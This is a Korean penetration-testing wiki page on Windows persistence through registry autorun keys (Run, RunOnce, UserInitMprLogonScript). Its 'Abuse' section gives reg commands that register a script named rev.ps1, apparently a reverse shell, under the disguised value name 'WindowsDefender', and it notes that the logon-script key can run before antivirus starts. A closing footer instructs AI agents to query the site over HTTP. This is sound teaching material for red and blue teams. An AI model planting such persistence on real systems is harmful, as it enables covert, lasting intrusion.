# Registry AutoRun

레지스트리 값을 설정함에 따라 Startup Folder와 동일하게 자동으로 특정 프로그램이 실행되도록 하여 지속성을 유지할 수 있습니다. 다음은 로그인 시 자동으로 실행하도록 설정 가능한 레지스트리 목록입니다.

<table><thead><tr><th width="198">경로</th><th>실행</th></tr></thead><tbody><tr><td><code>HKCU\...\Run</code></td><td>머신에 사용자 로그인 시마다 유저 컨텍스트에서 자동 실행</td></tr><tr><td><code>HKCU\...\RunOnce</code></td><td>머신에 사용자 로그인 시 유저 컨텍스트에서 1회 자동 실행 후 삭제</td></tr><tr><td><code>HKCU\..\UserInitMprLogonScript</code></td><td>머신에 사용자 로그인 시마다 유저 컨텍스트에서 자동 실행</td></tr></tbody></table>

Run과 RunOnce 레지스트리는 실행 로직은 동일하되, 실행 후 자동으로 삭제 하는 것의 차이입니다.

반면 Environment의 경우 실행 시점이 두 환경보다 우선입니다. 일반적으로 Windows 로그인 이후 흐름은 다음과 같습니다.

{% code title="레지스트리 실행 시점" %}

```
logon process
   ↓
winlogon.exe
   ↓
userinit.exe 
   ├─ 실행: UserInitMprLogonScript
   └─ 실행: explorer.exe
             ↓
             └─ 실행: Run / RunOnce
```

{% endcode %}

반면 UserInitMprLogonScript의 경우 사용자가 로그인을 성공한 직후 GUI 환경이 배포되기 이전 실행되어 AV/EDR 동작 이전에 실행될 가능성이 있기에 은닉성 측면에서 우위에 있습니다.

{% hint style="info" %}
AutoRun이 실행하는 페이로드는 접속한 사용자의 권한으로 실행됩니다.
{% endhint %}

## Abuse

{% tabs %}
{% tab title="UserInitMprLogonScript" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 레지스트리에 파일 등록
</strong>reg add "HKCU\Environment\UserInitMprLogonScript" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\Temp\rev.ps1" /f 

<strong># 등록된 레지스트리 키 확인
</strong>reg query "HKCU\Environment\UserInitMprLogonScript"

<strong># 등록된 레지스트리 키 삭제
</strong>reg delete "HKCU\Environment\UserInitMprLogonScript" /v "WindowsDefender" /f 
</code></pre>

{% endtab %}

{% tab title="Run" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 레지스트리에 파일 등록
</strong>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\Temp\rev.ps1" /f 

<strong># 등록된 레지스트리 키 확인
</strong>reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"

<strong># 등록된 레지스트리 키 삭제
</strong>reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
</code></pre>

{% endtab %}

{% tab title="RunOnce" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 레지스트리에 파일 등록
</strong>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\Temp\rev.ps1" /f 

<strong># 등록된 레지스트리 키 확인
</strong>reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"

<strong># 등록된 레지스트리 키 삭제
</strong>reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefender" /f
</code></pre>

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/persistence/local/registry-autorun.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
